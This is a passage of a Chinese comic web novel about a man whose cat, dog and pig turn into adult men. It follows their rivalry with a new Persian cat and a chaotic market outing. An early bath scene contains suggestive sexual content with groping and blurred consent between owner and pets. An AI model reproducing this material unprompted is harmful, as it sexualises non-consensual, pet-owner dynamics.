汉堡磨了磨后槽牙,威胁地扭了扭脖子,把手指节掰的“咔咔”响。
“咻——”波斯挣扎着从陈开心怀里跳出来,一个箭步冲出了浴室。
可乐眼疾手快地锁上了门。
“主人……”碍眼的绿眼睛一走,汉堡瞬间就变了脸,露出一副难过的表情,搂着陈开心的脖子习惯性地去用脑袋蹭他,满脸的不开心又让人捉摸不透。
小猫咪的心思总是难以让人猜准的,陈开心被他压在盥洗池边,反手搂住了他的腰,手指插入汉堡的发间,安抚地揉了揉他柔软的发丝。
“我在,怎么了?”他语气温柔,很是享受汉堡难得的撒娇。
“帮我洗澡。”汉堡抬头,目不转睛地看着陈开心,眼眸里泛起一阵幽光,讨好地用舌尖去舔陈开心的脸颊。
小猫小狗喜欢一个人会用自己的舌头去舔那人的脸颊,通过这种方式,让彼此的气味交换融合。
但不同于猫咪小小舌头的舔舐,小狗要是上嘴舔起一个人来,那真是舔舔狂魔。
陈开心感觉有一双手把自己拽离了池台,随即后背贴来一股热量,有人从他身后环抱住了他。
可乐身型高大,完全把陈开心包裹进了怀抱中,他和汉堡两人一前一后,把中间的陈开心夹成了人形汉堡。
“我也要洗澡。”他脑袋贴在陈开心颈侧,伸着舌头舔他耳后的肌肤,声音暗哑深沉,“主人,你不能偏心。”
唉,陈开心被双面夹击,口水洗脸,目瞪口呆地看着这一猫一狗在自己怀里蛄蛹,欲哭无泪。
端水啊端水,这该死的一碗水总是要端平的。
猫狗脱光衣服排排坐在浴缸里,陈开心将袖口挽到手肘处,弯腰给他们放水,竭力控制住自己的目光不要游离到不该看的地方去。
汉堡挤了一泵洗发露在自己头上搓了搓,搓出一朵泡沫云后捧在手里开始抓着玩起来,玩.腻了后他将自己头上的泡沫又堆在了可乐的头上,帮他也搓了搓。
可乐全然不知自己在用汉堡洗过的洗发泡沫在洗头,眼神全神贯注地盯着陈开心下面,轻薄的休闲裤已经被水打湿,前面逐渐显现出了弧.度。
他低头看看自己,又歪过头去看汉堡的,惊奇地戳了戳汉堡,示意他和自己一起看主人那里:“你看你看,在变大。”
听到他像是发现新大陆的意外语气,陈开心身体僵住了一秒钟,强忍着想杀狗的冲.动把水往可乐脑袋上径直喷去。
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“闭嘴!”他帮可乐冲掉头发上的泡沫,冷不丁底下被一只手猛地抓住,不禁倒吸一口凉气。
“真的诶!”汉堡惊喜地看陈开心,又埋下头看自己,“我的也变大了,可乐你的呢?”
可乐害怕地紧紧闭着眼睛,把手伸下去摸了摸:“我看不见,但是摸着好像也是这样。”
要死了!这一猫一狗在讲什么虎狼之词?!我在任劳任怨地帮他们洗头洗澡,他们却当着我的面讨论那玩意儿?!
陈开心毫不留情得从自己裤子里揪出汉堡作恶的爪子:“再摸我,我就把你们都送去嘎了!”
汉堡抓住陈开心的手咬住,自以为非常凶狠地瞪了他一眼,口.齿不清地顶嘴:“不要!你要是敢,我就带着可乐离家出走!”
小奶猫在气势汹汹地咬他的手,却一点儿都不疼,甚至还有点撩人的痒,陈开心忍不住捏了捏他鼓鼓囊囊的脸蛋,笑道:“生气了?”
“哼!”汉堡傲娇地扭过头和他生闷气,过了一会儿见陈开心一门心思地给可乐在洗澡,他才红着脸拉过陈开心的左手。
“我这里好烫,你帮我摸.摸好不好?”
陈开心手一抖,莲蓬头从他右手里掉落,砸在浴缸上发出了闷响,惊得可乐连忙睁开了眼。
莲蓬头仰面躺在浴缸里,淅淅沥沥的水从三人头顶一贯而下,浇湿了陈开心的衬衫,他瘦削的身体隐藏在逐渐透明的衣服里若隐若现。
可乐甩了甩脸上的水,听见身侧传来压.抑在喉.咙里的,似痛楚又似痛快的轻.喘,他闻声望去,惊讶地瞪圆眼睛,羞红了脸。
“主人,我也要~”他牵过陈开心的右手包在自己的掌心,有样学样地沿着他的大腿往更深处探去。
漫天飞舞的水滴让陈开心睁不开眼,只能任他的小猫小狗拉着自己的手为所欲为,他感觉自己脑子里好像也进了水,一刹那没了思考,全身的焦点都集中在了自己手指的动作上。
这是他自己的小猫小狗,帮他们打一发应该也是可以的吧……
7. 小猪变人
小猫小狗各自霸占着陈开心的一只手,眯着眼睛用脑袋蹭他裸.露在外的小臂,舒爽得连耳朵尖尖都红了。
陈先生被可乐湿漉漉的眼神看得心软,忍不住低头去安抚地亲了亲他汗津津的额头,又被汉堡强硬地掰过下巴,伸出小舌.尖冲着他的嘴.唇准确无误地舔了上去。
在猫咪的世界里,只有地位高的猫老大才给猫小弟舔毛,每一次口水淋淋的舌.头洗礼都是对被舔者的赏赐。
完了,汉堡这是把陈开心当同类了,指不定还是他心怡的发.情对象呢。
“靠!”陈开心躲闪不及,皱着眉头去推他的小腹,又因为被汉堡抱着脑袋在狂啃,他有些喘不过气,只能手忙脚乱地向可乐求救。
“可乐!可乐!唔唔唔……”他没说出的话尽数消失在汉堡的唇.齿间。
主人的手在自己眼前晃来晃去,可乐睁着疑惑的眼睛想了想,却会错了意,拉过他的手径直往自己的肚.皮摸去。
爽,好爽~主人就是得一碗水端平~
可乐自己动手,丰衣足食,“吃”起了被主人撸肚皮的自助套餐。
他四仰八叉地躺在浴缸里,鼻子里发出了满意的哼哼,眼神波光荡漾,看向陈开心的目光里甚至还莫名带着一些撒娇的意味。
上下均失守,家里除了刚刚逃走的波斯猫,还有客厅里的那头猪之外,什么活的生物都没有,这下陈开心真是叫天天不应,叫地地不灵了,再不自救,他就得城门失守了。
“No!可乐!汉堡!坐好!”他不得不拿出主人的淫威,凶巴巴地命令他们。
主人生气了,可乐和汉堡条件发射地颤抖了两下.身体,硬着头皮往他手臂里埋脑袋,决定装死。
十分钟后,一个衬衫湿透,衣扣半解,下摆皱巴巴地卷到了小.腹,看上去被蹂躏不轻的男子,顶着一张红透的脸蛋,气势汹汹地将两个赤.裸的男人齐齐踢出了浴室。
浴室外,波斯猫早已没了踪影,唯独客厅的沙发地毯上趴着一个臀翘得高高的男人,正错愕地看着他们。
可乐没有穿衣服,汉堡没有穿衣服,陈开心这衣服穿了还不如不穿,而地毯上的男人同样也没有穿衣服,他底下那物软绵绵地垂挂着,在对面三人的眼皮子里底下就这么荡啊,荡啊……
气氛一瞬间寂静得诡异。
“啊啊啊啊啊啊啊!”陈开心捂着眼睛尖叫,似乎动作慢一点就长了针.眼,“你他妈是谁?!”
“嗷嗷。”男人流着哈喇子傻笑着,发出了两声猪叫。
可乐觉得这个世界真的是太疯狂了,汉堡担心波斯猫和他们抢主人的事情没有发生,他带回来的小猪却和他们一样变成了人。
猪的鼻子有两个孔,猪的耳朵扇啊扇,猪的尾巴小小的一卷。
可乐扯扯雪碧的头发,揪揪雪碧的耳朵,还把两只手指戳进了雪碧的鼻子检查,仍旧难以置信:“你真是那头胆小的猪?”
好奇怪,这话听着怎么像是在骂人……哦,不是,像是在骂猪?
雪碧从地毯上站起来,把陈开心刚给他穿好的裤子往下一扒,撅着又圆又翘的屁股直往可乐面前凑:“看这两排眼,是你追着我咬的。”
可乐好奇地凑上去仔细辨认了一番,是他的杰作没错,还别说,他的牙齿长得真整齐。
“主人,你看,我牙印!”他一脸骄傲,双手捧着雪碧的屁股炫耀给陈开心看。
陈开心……
陈开心觉得自己脑袋的内存条要炸了,他嘴角抽搐了
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两下,哭笑不得。
不过,孩子还在等着他表扬呢,要是不夸他,他就会伤心的,他一伤心就会有气无力像是被夺了灵魂,一天都吃不下狗粮。
陈开心熟练地挂着假笑,昧着良心对可乐鼓掌:“真棒!可乐咬的真好看!”
“嘻嘻,汉堡你看!”得了主人的表扬,可乐又咧着嘴给汉堡炫耀,雪碧也配合着把腚撅得更高了点。
汉堡才懒得理这只狗和这头猪呢,他趴在陈开心腿上,耳朵动了动,昏昏欲睡。
长时间没有得到反应,可乐期待的眼神慢慢暗淡了下去。
“快夸他……”陈开心咬着后槽牙,不动声色地在底下戳了戳汉堡的腰。
汉堡刚在浴室里被陈开心伺候得爽快了,正是餍足后放空的圣人时间,他懒洋洋地掀开眼皮,赏了可乐一个眼神,同样皮笑肉不笑地和陈开心耳语:“三个猫罐头。”
“你趁火打劫啊。”陈开心继续假笑,继续鼓掌,继续咬牙切齿,“一个!猫罐头多贵啊,你快要把我吃穷了。”
汉堡伸了个懒腰,换了个舒服的姿势面朝着陈开心的肚子贵妃躺,悠悠哉闭目养神:“两个,不然我就告诉他咬的真难看,比楼下那龅牙小黑咬的还丑。”
尼玛,小黑是整个小区最丑的一只龅牙狗,偏偏还丑不自知,就喜欢跟在他家可乐的屁股后面跑。
“成交。”陈开心迅速抓起汉堡的爪子拉了个钩。
汉堡这才心满意足地吹了吹指甲,敷衍地打了个哈欠:“好看好看,真好看。”
得到所有人的夸奖,可乐终于开开心心地帮雪碧拉上了裤子,即使汉堡自始至终都没有回头认真看一眼那个牙印。
不过那又怎样呢,他是只简单又快乐的小狗。
8. 反波斯联盟
家里多了一头猪,哦不,一个人,怎么睡觉就成了最大的问题。
陈开心租的一套单身公寓,一室一厅一卫,本来自己一个单身汉加上一猫一狗住下来绰绰有余,在可乐和汉堡变成人之后,三个人挤一张大床也勉勉强强,可乐和汉堡喜欢蜷缩着身子睡觉,倒也占不了多大的地。
可现在……
陈开心头疼地看向沙发上那个还在研究如何穿衣服的男人,深深叹了口气:“雪碧,你以后就睡沙发吧。”
“沙发?什么是沙发?”雪碧光着身子在衣服堆里拱啊拱,拱出一颗脑袋好奇地问陈开心。
可乐随手给了他一个爆栗,以大哥的姿态教训他:“笨!你屁股底下这个大垫子就是沙发。”
“哦。”雪碧委屈地揉揉脑壳,他只是一头刚变成人的猪,为什么要对他这么凶?
“可是,可是……”他用手夸张地比划着,“我有这~么~大,沙发只有这~么~小,装不下我。”
一米五的双人沙发是装不下一米八的猪猪的,猪猪睡觉不喜欢蜷着身子,喜欢四仰八叉地即躺即睡。
猪猪耍赖地抱紧了他唯一的靠山,狗大哥可乐:“是你把我带回来的,我要跟你睡!”
和可乐睡那岂不是要和主人睡一张床?
一直冷眼旁观,窝在沙发上贵妃躺的汉堡从鼻子里挤出一记冷笑:“傻狗,你要是敢答应,就和这蠢猪一起睡沙发。”
可乐敢答应吗?可乐当然不敢,早在他还没长成阿拉斯加猪的时候,就意识到了这个家里的实际家庭地位是汉堡>主人>他。
“边儿去!”他一个肘击撞开雪碧,随手拿了件衣服往他身上套,不动声色地岔开话题,“你先学会穿衣服,别总是裸.奔。”
客厅里闹哄哄的,可乐在教雪碧穿衣服,汉堡慵懒地伏在沙发扶手上睥睨众生。
陈开心抹了把额头上的汗,终于意识到自己衣服早已湿透,黏在身上极不舒服。他走进卧室关上门,在衣柜里拿了件卫衣套装准备换上。
卫衣裤子的腰带是长长的流苏款式,不系上的时候刚好垂到膝盖附近,随着走路一摆一摆的,陈开心很是喜欢便买了下来。为了露出流苏的设计,他穿的时候特地没有系上腰带,任由裤子松松垮垮地吊在腰胯上。
他先换好了裤子,然后站在床边弯腰套上衣,等上衣套好了,裤子却伴随着“咚”的一声,像是肉球落地的声音掉了下去,屁股刹那间实现了裸奔的自由。
陈开心吓了一跳,忙捡起裤子低头查看,翻来翻去,在里面发现了一只正在快乐玩流苏的波斯猫。
原来这小家伙一直躲在床底下。
陈开心哭笑不得,拎着波斯猫的后脖颈,开门把它扔到客厅里:“汉堡,管好你的小猫,它……”
陈开心话还没说完,目瞪口呆地看着客厅里光着屁股,乐呵呵地玩叠叠乐的三个人,眼前差点儿一黑。
他手一松,可怜的波斯猫被摔在地上,嗖的一下瞬间又跑没了影儿。
“你!你们……”陈开心嘴角抽搐,捂着心脏位置,觉得自己快要嗝屁了。
老天爷,他眼睛脏了啊,他这都养了些什么妖魔鬼怪啊?!
可乐撅着肉嘟嘟的屁股回头看他,龇着一口大白牙冲他傻乐:“雪碧说我们本来就是动物,没必要穿衣服,穿衣服让我们失去了自由,我觉得他说的很对!”
汉堡趴在那两人身上,附和地点点头:“穿了你们人的衣服,我都不好舔毛了,你知道你们人的衣服舔起来有多难吃吗?”
“难吃你个
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头头!”
陈开心红着脸,走过去一人踹了一脚分开他们,气急败坏地抱走了地上乱扔的衣服。
“要自由是不是?!那我就让你们彻底放飞自我,今天晚上都给我睡在客厅,一个都不许上床!”
“不行!主人不行!”
“主人主人,我错了!”
可乐和汉堡一秒变了脸色,化身为琼瑶剧里的苦情男主,连滚带爬地抱着陈开心的大腿哀嚎,却得到了他无情离去的背影。
雪碧……
雪碧小心翼翼地翻了身,避免压到身前的鸟,他还没习惯人的身体,总是忘记这个东西很脆弱。他倒是没有什么损失,甚至喜提了两只陪睡人员。
晚上,客厅里鼾声雷动,一猫一狗以雪碧的鼾声为遮掩,熟练地翻出了卧室的备用钥匙,蹑手蹑脚地打开陈开心卧室的门准备偷溜进去。
可一打开门,眼前看到的一幕却让一猫一狗傻了眼,彻底打翻了醋缸子。
那只!绿眼睛!!波斯猫!!!竟然趴在他们主人的胸口睡觉!
怒!!!
在这个注定不普通的夜晚,反波斯联盟正式成立。
一猫一狗连夜鬼画符了一张联盟契约,在空白处按下了自己的爪子印,想了想,又偷偷拉着雪碧的爪子在上面盖了章。
而雪碧在睡梦中啃着美味的大白菜,鼾声一声比一声大,全然不知自己签下了什么卖身契。
反波斯联盟契约:
统领:喵喵喵
副统:汪汪汪
手下:嗷嗷嗷
皎洁的月光下,汉堡心满意足地看着自己的鬼画符,和可乐神秘兮兮地相视一笑,两人笑容阴森,看上去诡异的很。
小样儿,讨厌的绿眼睛,看我们不玩死你!
9. 拉帮结派
反波斯联盟一经成立便不允许退会,并在第二天陈开心去上班后,正式打响了武装行动的第一枪。
因为家里只有三个不算人的“人”和一只小猫,陈开心上班前反复检查了一下门窗,确认家里没有任何隐形危险后,把波斯猫托付给了汉堡。
他们同为猫族,汉堡应该会照顾好波斯的,陈开心很放心,至于雪碧……
陈开心望着站在沙发上远距离抛掷肉干给雪碧,把雪碧当成狗来逗的可乐,他摇了摇头,深深叹了口气。
雪碧……雪碧会照顾好自己的。
陈开心习惯性地拍拍汉堡和可乐的脑袋,一步三回头:“我出去打猎,你们要看好家哦。”
小猫小狗蹭蹭他的掌心,听话地点点头。虽然他们听不懂上班的意思,但他们知道主人早上出门,晚上回来就能给他们带回来好吃的食物。
汉堡抱着波斯猫,可乐手拉着雪碧,所有人脸上都堆满了其乐融融的笑容目送走了陈开心。
等屋门一合上,汉堡立马变了脸色,把波斯猫往地上一扔,对着它颐指气使:“你滴!喵喵喵滴干活!”
汉堡最近很喜欢看抗战剧,特别喜欢蹲在电视机前用爪子捕捉里面天上抛炸弹的飞机,久而久之,连他说话的口音都像电视剧里的山本太郎。
波斯猫随着惯性在地毯上翻滚了几圈站定,圆溜溜的绿眼睛看也不看汉堡,自顾自地坐在地毯上舔着凌乱的毛。
“你滴!喵喵喵喵喵喵!!”
汉堡被他爱答不理的态度惹恼了,四肢伏在地上,嘴里发出警告的低声呜咽,龇着一口大白牙显然被气炸了毛。
波斯猫懒懒地掀开眼皮看了他一眼,然后挪了挪爪子,转过身体继续拿屁股对着汉堡。
空气中逐渐弥漫开来无声的硝烟味,大战一触即发。
汉堡生气了,主人说过他们是一家人,必要时刻要一致对外!
可乐放下手里的零食袋,默默坐到汉堡身边,也对波斯猫龇起牙,瞪起了眼。
只有雪碧偷偷扒拉过可乐的肉干袋子,流着口水把脑袋伸了进去,大快朵颐。
对于这个家来说,严格意义上只有可乐是自己的同盟军,汉堡瞥了眼客厅墙上的摄像头,强忍着一肚子的气走进卧室。
可乐接受到他的眼色,也跟在他身后进去,经过雪碧身边时,他没好气地照着雪碧的脑瓜子甩了他一个大逼兜:“吃吃吃!就知道吃!你们猪除了吃,除了睡还会干什么?!”
他一把从雪碧嘴下抢走了自己的零食袋。
“还……还会拉。”雪碧嘴里塞满了肉干,弱弱地回答。
卧室门在他面前“砰”地被关上,汉堡和可乐关在里面窃窃私语。
雪碧看看紧闭的卧室门,又看看地毯上孤零零趴在那边的波斯,眼睛转了转,心里立刻有了计较。
他悄悄蹭过去,和小猫咬耳朵:“嘿,绿眼睛,你知道他们要赶你走吗?”<
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p>波斯猫侧着头趴在地毯上,尖尖的耳朵动了动,眼睛却没睁开,小小的一只看上去无比柔弱可爱。
雪碧见它不为所动,继续念叨着:“你看吼,这个家里除了主人是真正的人类,他们其实也都是猫猫狗狗,都是宠物,他们凭什么要爬在我们头上拉屎,就因为他们比我们早来这个家吗?”
他一边掰着手指头碎碎念,一边偷偷观察着波斯的脸色,最后他说的口干舌燥,挤眉弄眼地抛下一个诱饵:“你……你难道不想反抗吗?”
猪猪一点儿都不笨,猪猪还知道拉帮结派。
“就凭你?”波斯猫趴着的地方传来沉沉的笑声,只见绿眼睛的波斯转过头,眼神鄙视地盯着雪碧,清澈灵动的眼睛有着和昨晚不一样的神采。
他的唇角牵起一抹嘲讽的笑,虽然身体很小,得需要仰头才能和雪碧对视,但雪碧却在他绿幽幽的目光中紧张地咽了咽口水,觉得自己已经被他踩到了脚下摩擦。
“你你你!你竟然会说话!”他张大着嘴,惊讶地回头看了看依旧紧闭的卧室门,“他们都不知道你会说话?”
“当然,你要是敢说出去,你大可以试试看。”波斯猫慵懒地舔了舔爪子,威胁地亮出了隐藏其下那锋利森白的利刃。
雪碧顿时觉得后背一凉,脖子一紧,立马两只手捂在嘴巴上,害怕地摇了摇头。
猪猪其实也很笨,不知道看起来越可爱越柔弱的小动物,有时候是最凶猛,最有杀伤力的。
10. 送走波斯
猫猫狗狗躲在房间里鬼鬼祟祟商量了半天,终于达成了一致意见,决定把绿眼睛送走,可送到哪里去又是个问题。
可乐说还把它送回原来的菜市场,结果被汉堡指着鼻子给骂了一顿,骂他对小猫太不善良了。
“虽然绿眼睛很讨厌,但是你们狗狗是不明白流浪的小猫咪有多可怜的。”汉堡皱着眉头,仔细回想着小黑给他讲的辉煌流浪事迹。
楼下那龅牙小黑原来就是一只流浪狗,因为长得丑,所以没有人愿意收养它,后来它偶然在一只巨型犬的口中救下了它现在的主人,才得以被收养。
“猫猫会没有鱼干吃,饿了只能抓脏脏的老鼠,也没有好玩的毛球玩,想拉臭臭了只能拉在烂泥里,没有香香的猫砂蹭屁屁。”
这些都是小黑告诉汉堡的,小黑还说有很多流浪的小猫咪会不小心吃了毒老鼠的耗子药,然后嘴里不停地吐泡沫,挣扎着死去。
汉堡蹲在地上偷偷扒着门缝看客厅里晒太阳的波斯,一脸纠结:“我是只善良的小猫,我得给绿眼睛送个好人家,天天有好吃的鱼干。”
可是他又犯愁了,他也不认识什么人类,只认识主人一个,不知道该往哪里送啊。
身后突然响起了低低的抽噎声,汉堡回头一看,可乐咬着自己的零食袋子,哭的眼泪鼻涕一起流:“你说的对,幸好我们遇见主人了,不然我也是只没人要的流浪小狗。”
可乐本来就吃的多,养的又高又壮,前阵子听主人说有很多像他这样流浪的大型犬被所谓的打狗队给打死了,让他有事没事千万别溜出门玩。
好可怜啊,如果不是主人,自己都不能在这里生活,虽然这里到处都是高高的楼,没有草地给自己奔跑,那个柏油路跑起来一点儿都不舒服,还磨自己爪子的肉垫,可是只要能和主人在一起,可乐觉得自己是可以忍忍的。
如果……如果自己被抓走了……
“哇!”可乐越想越伤心,庞大的身躯趴在汉堡的肩膀上,两人眼对眼,鼻子对鼻子,抱头痛哭起来。
汉堡仿佛也被他凄凄惨惨戚戚的情绪感染了,水汪汪的眼睛立刻蓄满了泪花 :“傻狗,我们一定不能惹主人生气,不然他不要我们了,我们就是没人要的小猫小狗了。”
“嗯。”可乐哽咽地点点头,揩了一下鼻涕都偷偷抹在了汉堡的背后。
一猫一狗哭归哭,哭完后立马找了个纸箱子把波斯猫装了起来。
看这两人忙前忙后,又是往箱子里塞毛毯,又是塞肉干的,雪碧不明所以,兴奋围着他们一个劲儿地问:“要干嘛呀?干嘛呀?出去玩吗?”
可乐眼眶还红着,凶巴巴地朝他龇了龇牙:“别问,问就把你一起卖掉!”
啊?啊?!啊!!!
猪猪闪现,雪碧惊恐地钻到饭桌底下,死死地抱住了桌腿子:“你们要把它卖掉?!”
仿佛是有人要杀猪,雪碧发出了凄厉的猪叫,可他转头看看箱子里的波斯,它像是只没事猫一样,该吃吃该喝喝,还舒服地在毛毯里打了个滚儿。
雪碧疑惑地揉了揉眼睛,波斯又变得柔弱可爱,先前冷酷威胁他的小猫好像是他的错觉一般。
汉堡和可乐背好自己的小水瓶,带好装零食的小背包,脖子上挂着主人给他们新做的防走丢小牌牌,开开心心地抱着箱子出门了。
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>临走前可乐再三问了下雪碧要不要一起去,雪碧怕他们把自己卖了,死活不肯跟着他们出门,毕竟这年头猪肉还蛮贵的。
等过了五分钟,确定汉堡和可乐都走了后,雪碧才小心翼翼地从桌子底下爬出来,趴到阳台上目送着汉堡和可乐的身影往菜市场走去。
小猫小狗只认识去菜市场的路,因为他们最爱和主人去菜市场买好吃的东西吃。
小猪也只认识去菜市场的路,他在那里被屠夫关了大半年,就等着养肥后杀了吃猪肉,所以雪碧很感激可乐,要不是可乐把他带走,他现在怕是杀猪刀下的冤魂。
可......可是,可乐和汉堡现在带着绿眼睛去了菜市场,那个会杀猪的地方,雪碧吓得一激灵,心里突然升起了一股不好的预感。
救命救命!他们不会是要......杀猫吧?!
陈开心中午休息时间照例打开了家里客厅的摄像头看看猫狗的情况,结果猫猫狗狗没看到,只看到一个男人在沙发上蹦蹦跳跳的,应该蹦了很长时间了,沙发垫子都凹陷下去,沙发套都被他蹦烂了。
任凭猫爪子狗爪子都没抓烂的沙发在雪碧的脚底下成了破烂布,陈开心气不打一处来,当即打开监控语音训猪:“雪碧!你看看沙发被你造的,你这样晚上还怎么睡觉?!”
天啦噜,好亲切的声音,雪碧听到的那一秒,热泪盈眶,简直想哭。他在沙发上扑腾了半天,半条猪命都差点儿蹦没了,主人终于看到他了。
他脸色惨白地累倒在沙发上,用尽最后一丝力气朝着摄像头伸出颤抖的手,发出声嘶力竭的猪吼:“不!不好了!!坏猫坏狗要杀绿眼睛了!!! ”
11. 解救波斯
波斯被小猫小狗带到了菜市场,波斯看着周围聚拢的人群一点儿都不紧张,波斯甚至悠哉悠哉地在纸箱子里啃起了肉干。
汉堡和可乐蹲在纸箱旁观察着来来往往的路人,想找一个看上去家里能买得起很多鱼干的人把绿眼睛送出去。
可是看来看去,不是汉堡嫌弃尖嘴猴腮的瘦子长得丑,就是可乐对那些五大三粗的汉子吹胡子瞪眼的。
两个俊俏的年轻小伙子带着一个可爱的猫咪蹲在菜市场门口的角落里,不进来买菜,也不和别人说话,任谁都会停下来留意两眼,这留意着留意着,就有人认出了这两人。
“哎!这不是开心家的亲戚吗?”花姐拉着一同出来买菜的李大妈走近汉堡和可乐,仔细瞧了几秒,确定自己没认错。
花姐住在陈开心家楼下,还有李大妈,他们三个人都住在同一个小区,陈开心长得帅嘴又甜,街坊邻居都很喜欢他。最重要的是他还单身,花姐一直琢磨着把自己在外地工作的女儿介绍给他,好有借口让女儿名正言顺地回来工作。
“没错没错,就是他们,他们上次大闹菜市场还上新闻了呢,这开心也真是的,怎么能让精神病人到处乱跑呢?!”花姐秉持着邻里友好互助的原则,立即掏出手机给陈开心打电话。
那头陈开心听完雪碧那精疲力尽的一吼,不得已又请了假,顶着主管不满的眼神开飞车赶回了家里,可家里除了一头睡死过去的猪,再也没第二个人的身影。
估计是蹦哒了一上午累着了,雪碧仰躺在沙发上,手脚扒着沙发背,不知不觉地合上眼皮,打起了呼。
他只是一头小小的猪,不知道客厅里的摄像头要陈开心在手机上打开监控才能看到,雪碧还以为他只要在沙发上蹦哒两下,陈开心就能发现他,结果他就这么跳了两个小时,半条猪命都快跳没了。
猫猫狗狗不知道去哪里鬼混了,陈开心推了推雪碧,神色着急:“别睡了,快醒醒!”
雪碧砸吧两下嘴,翻身抱住陈开心的胳膊蹭了蹭,嘴里哼哼唧唧:“白菜,大白菜,嘿嘿,好吃……”
他闭着眼睛,把陈开心的手当做白菜啃了起来,不一会儿哈喇子流了陈开心一手。
陈开心目瞪口呆地望着手心里亮晶晶的口水,深呼吸了好几下才忍住一巴掌甩到雪碧脸上的冲动。
恰好手机响了起来,他用另外一只手接通电话,花姐大喇喇的嗓门在那头响起:“开心啊!你快来菜市场,你家里那两神经病又跑出来了!”
都不用问,陈开心就知道她口里那“两神经病”说的是汉堡和可乐。
他道了声谢,顾不上喊醒雪碧连忙转身出门,走到门口,他关门的时候看到沙发上还在做白日梦的雪碧,又放心不下地回来给他肚子上盖了个毯子。
初春的天气微凉,这小笨猪没了厚厚的脂肪保暖,别到时候再睡感冒了。
他随手擦了擦雪碧嘴边的口水,无奈又好笑地摇了摇头,出门去接汉堡和可乐。
汉堡和可乐蹲在那旮旯缝里替波斯猫找主人,越来越多的人认出了这是上次发疯的两个“神经病”,便自发地站在不远处监视着他们,害怕再上演鸡飞狗跳的一幕。
人一多,汉堡害怕地往可乐身后缩了缩,只露出眼睛偷偷观察着周围的人群。
“你看那个人,看上去瘦瘦小小,肯定没有力气虐待绿眼睛。”他又挑出一个人悄咪咪地指给可乐看。
猫猫的视力不好,只能看到十米内的事物,对色彩的辨识度也很低,除了蓝绿紫黄这四个颜色外,其他颜色在它们眼里都是灰蒙蒙的。
虽然狗的视力也不好,但狗能看到五十米以内的事物,比猫猫终归是厉害了一点。
可乐努力睁大眼睛辨认着,看清人型后不屑地撇嘴:“都瘦成竹杆了,自己都这么瘦,跟着他肯定吃不饱饭。”
“那……那个?”汉堡换了个目标,“好看的小姐姐不会伤害猫猫的。”
嘶,就知道看脸的蠢猫。
可乐无语地翻了个白眼,有气无力地耷拉下脑袋:“难说,人类不是经常说什么面什么心的吗?你看她脖子上带的围巾,说不定就是用你们猫毛做的哦~”
他拉长了语调吓唬汉堡,小猫本就胆小,不喜欢和人类接触,被可乐这么一吓,立马打消了念头,再次寻找合适的目标。
看来看去都没有顺眼的人,菜市场都是一群大爷大妈爱来的地方,他要去哪儿给绿眼睛找好看又温柔,帅气又多金的主人啊?
突然一个英俊潇洒的男子冲入他的视线里,汉堡眼前一亮,忙不迭地拍可乐的背:“快看!快看!这个这个!好帅好帅!”
可乐早在汉堡还没看到陈开心的时候就嗅到他的气味,兴奋地跳了起来,等他一走到面前猛地扑了上去。
陈开心眼皮倏地一跳,连忙接住他的身体,赶在可乐开口喊“主人”前,慌里慌张地捂住了他的嘴。
大庭广众,众目睽睽之下,一个大男人一头扎进他怀里,要是还激动不已地对着他喊主人,陈开心敢保证,他可以连夜搬离这座城市了。
可乐开心地抱着陈开心,企图像以前那样在他怀里打滚儿,却被陈开心一个爆栗,指着鼻子给教训了一顿。
“你们胆子真是大了,现在都敢拐带别的猫出门了!”
可乐“呜呜”两声
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,委委屈屈地从他身上下来,吓得不敢动,一个劲儿地往汉堡那边瞄,用眼神举报始作俑者。
陈开心冷脸看着在地上蹲着的汉堡,用脚趾头想想也知道这是他带的头。
不过汉堡才不怕陈开心呢,他懒懒散散地靠坐在地上,尽量装作自然的样子,眼神对上陈开心的视线时却又心虚地躲开。
“你!”陈开心举起的手指还没指到汉堡的鼻子,又泄气地放下,他已经疲惫到懒得责备,反正猫这种生物一身的反骨,说了它也不听。
“算了,你们没事就好。”
陈开心抱起装着波斯的箱子,打起精神和围观群众道完歉,灰头土脸地领着他们回家。
可乐看看一言不发的汉堡,又看看大步离去的主人,嘴巴张了张,还是选择亦步亦趋地跟在了陈开心的后面。
没有意料之内的训斥,汉堡拍拍屁股从地上起身,往前一步却没敢跟上陈开心的步伐,依旧贴在角落里手足无措地盯着陈开心冷峻的背影,那双水汪汪的眼睛亮幽幽的,干净又纯真。
可是汉堡很伤心,主人为什么不骂他?是不是不要他了?
陈开心走了两步,发现身后只跟着一只一脸便秘神色,欲言又止的狗,回头一看,他家的小猫眼神哀怨地望着他,一副快哭了的表情,仿佛陈开心是那始乱终弃的渣男。
这都叫什么事啊?
陈开心叹了口气,不得不对他高喊一声:“想什么呢?!还不快跟上!看我回家怎么收拾你们!”
对头!这个味道才正确,自己犯错后,主人就应该用这种语气和自己说话!
猫咪如此嚣张跋扈,无非仗着主人宠他,一旦敏感的小猫咪察觉到主人对他的态度不一样,他也会担心主人是不是不爱自己了。
猫咪也知道水杯不能打翻,沙发不能磨爪子,不能偷偷开门溜出去玩,可猫咪就是这么奇怪的生物,主人越不让他做什么,他偏要反着来,像是以此来证明主人对他的爱。
听见自己犯错后,主人那熟悉的口气,汉堡这才破涕而笑,开心地跑到陈开心身边从他手里抢过纸箱子塞给可乐,然后自己牵住他的手。
可乐抱着波斯,一头黑线地望着眼前依偎在一起的两人,心里“咕噜咕噜”开始冒起了酸泡泡。
臭汉堡,傻汉堡,蠢汉堡,自己再也不要跟着他干坏事了!凭什么主人不骂他,只骂我嘛?不公平!哼!他生气了!
可乐气鼓鼓地抓起波斯箱子里的肉干塞满嘴,把气愤化作食量,虽生气但听话地当起工具人。
还有差点儿被送走的波斯呢?波斯吃饱喝足,早已蜷着身子躲在小毯子里进入了梦乡。
12. 斯米马赛
小猫小狗趾高气昂地来,又都耷拉着耳朵,灰溜溜地被陈开心带了回去。
陈开心把装波斯的纸箱放在副驾驶座位的下面,启动车的时候在后视镜里瞥了后座上的猫狗一眼。
“咋了?怎么现在都蔫儿了?早上偷偷溜出门的神气呢?”
他不由地觉得好笑,猫猫狗狗一犯错就知道用那种可怜巴巴的眼神瞅着他,看的人心软,可陈开心这次铁了心地要给这不听话的猫狗一个教训,省的他们老是不知道天高地厚地跑出来,等哪天被别人卖了还傻呵呵地替人数钱。
可乐抱着双腿蜷在后座上,用手扒拉了一下身边专心致志用皮座椅磨爪子的汉堡。
可乐出来了一上午,肚子咕咕叫,他饿了,他想让汉堡帮他从副驾驶座上拿肉干。他害怕主人生气,他不敢拿,但他知道汉堡敢。
狗狗用爪子扒拉一下伙伴,是催促的意思,可这个动作在猫猫眼里就有着十足的挑衅意味。
